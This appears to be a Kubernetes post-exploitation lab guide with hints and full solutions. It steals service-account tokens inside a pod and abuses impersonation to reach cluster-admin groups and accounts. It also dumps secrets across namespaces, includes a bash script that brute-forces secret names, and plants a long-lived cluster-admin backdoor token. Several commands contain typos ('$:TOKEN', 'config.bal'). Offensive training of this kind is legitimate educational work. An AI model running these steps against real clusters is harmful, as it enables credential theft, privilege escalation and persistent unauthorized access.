Lab_08 - Kubernetes Post-Exploitation

Lab 8: Kubernetes Post-Exploitation

1. Kubernetes Tokens

Let's read a token inside a tiller pod.

Hint

Tokens are usually found at "/run/secrets/kubernetes.io/serviceaccount/token" and are readable by all users.

Solution

id   # observe we are not root
ls -la /run/secrets/kubernetes.io/serviceaccount/token
ls -la /run/secrets/kubernetes.io/serviceaccount/..data/token    # Can still read token
cat /run/secrets/kubernetes.io/serviceaccount/token

Ok we have the token, but how can we use it from inside the pod itself?

Hint

Find a way to import the "kubectl" tool in the Pod.

Solution

Run the following command on a node:

cp /usr/bin/kubectl .
python3 -m http.server
ip a    # find ip of node

Enter tiller pod again:

kubectl exec -it -n kube-system tiller-deploy-<RANDOM> -- /bin/ash

Run the following commands in the pod:

cd /tmp
wget <IP>:8000/kubectl
chmod +x kubectl
./kubectl auth whoami
./kubectl auth can-i --list

Note: Replace <IP> with a valid IP where the python server is listening.

2. Impersonating Privileged Accounts

Let's create a user that has access to the "impersonate" verb and see how it can be used.

Solution

Create service account "impersonator":

kubectl create sa impersonator
kubectl create clusterrole impersonate --verb=impersonate --resource=users,groups,uids,serviceaccounts
kubectl create clusterrolebinding impersonate --clusterrole=impersonate --serviceaccount=default:impersonator
kubectl create token impersonator

Let's use the "impersonator" token with kubectl and:

list what the impersonator user can do
impersonate a privileged group
impersonate a privileged service account

Hint

Privileged group: system:masters. Privileged service-account: system:serviceaccount:kube-system:tiller.

Solution

Create token for "impersonator" SA and use it in kubectl:

TOKEN=$(kubectl create token impersonator)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list

Impersonate the "masters" group and a non-existent user:

kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami --as=aaa --as-group=system:masters
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list --as=aaa --as-group=system:masters

Impersonate the "tiller" service account in the "kube-system" namespace:

kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami --as=system:serviceaccount:kube-system:tiller
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list --as=system:serviceaccount:kube-system:tiller

Optional: Put the Kubernetes config which was moved from "~~/.kube/config" to "~~/.kube/config.bak" back to it's previous location:

mv ~/.kube/config.bak ~/.kube/config    # optional

3. List & Get Secrets

Let's create 2 service accounts:

One has the privilege of listing all secrets in k8s
The other has get access on the secrets and list access on the pods and serviceaccounts APIs

Solution

Create service account "list-sec":

kubectl create sa list-sec
kubectl create clusterrole list-sec --verb=list --resource=secrets
kubectl create clusterrolebinding list-sec --clusterrole=list-sec --serviceaccount=default:list-sec

Create service account "read-sec":

kubectl create sa read-sec
kubectl create clusterrole read-sec --verb=get --resource=secrets
kubectl create clusterrolebinding read-sec --clusterrole=read-sec --serviceaccount=default:read-sec
kubectl create clusterrole list-things --verb=list --resource=sa,pods
kubectl create clusterrolebinding read-sec2 --clusterrole=list-things --serviceaccount=default:read-sec

Let's use the "list-sec" account to list and read all secrets.

Solution

LTOKEN=$(kubectl create token list-sec)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$:TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -o yaml
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -A
kubectl --token=$LTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secrets -o yaml -A
mv ~/.kube/config.bal ~/.kube/config    # optional

Let's use the "read-sec" account to read the "default" secret.

RTOKEN=$(kubectl create token read-sec)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret default
mv ~/.kube/config.bal ~/.kube/config    # optional

Although the "read-sec" account can read any secret, we need to know the name of the secret we are trying to read. Let's write a bash/python/etc. script and a set of wordlists to bruteforce the available secrets.

Solution

RTOKEN=$(kubectl create token read-sec)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list

We can use the list pods and list SAs to gain potential sensitive information for our wordlists:

kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get pods -A
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get sa -A

Bash script "bruteforce_secret.sh":

#!/bin/bash

if [[ $# -ne 4 ]]; then
	echo -e "\n\tUSAGE: $0 <http(s)://TARGET:PORT> <TOKEN> <NAMESPACE_FILE> <SECRET_FILE>\n"
	exit
fi

TARGET=$1
TOKEN=$2
NAMESPACE_FILE=$3
SECRET_FILE=$4

result=""
for i in `cat $3`; do
	for j in `cat $4`; do
		echo "Trying: $i - $j"
		x=$(./kubectl --token=$TOKEN -s $TARGET --insecure-skip-tls-verify=true get secret "$j" -n "$i" 2>/dev/null)
		if [[ "$x" != "" ]]; then
			result="$result\nFound: $i - $j \n$x\n"
		fi
	done
done

echo -e "\n\nResults:\n$result"

Example command:

bash bruteforce_secret.sh https://127.0.0.1:6443 $RTOKEN namespaces.lst secrets.lst

Read some of the identified secrets:

kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret <RANDOM>-mysql -n default -o yaml
kubectl --token=$RTOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true get secret default -n kube-system -o yaml

Optional: Put the Kubernetes config which was moved from "~~/.kube/config" to "~~/.kube/config.bak" back to it's previous location:

mv ~/.kube/config.bak ~/.kube/config    # optional

4. Create Service Accounts Tokens

Let's create an administrative service account and generate a token that will last for years (>=10 years).

Hint

K8s instances have by default the "cluster-admin" cluster role.

Hint

Use the kubectl "--duration" flag.

Solution

Create user and token:

kubectl create sa mal
kubectl create clusterrolebinding mal_sa --clusterrole=cluster-admin --serviceaccount=default:mal
kubectl create token mal --duration=999999999s

Test token:

TOKEN=$(kubectl create token mal --duration=999999999s)
mv ~/.kube/config ~/.kube/config.bak    # optional
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth whoami
kubectl --token=$TOKEN -s https://localhost:6443 --insecure-skip-tls-verify=true auth can-i --list
mv ~/.kube/config.bak ~/.kube/config    # optional

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Last updated 1 year ago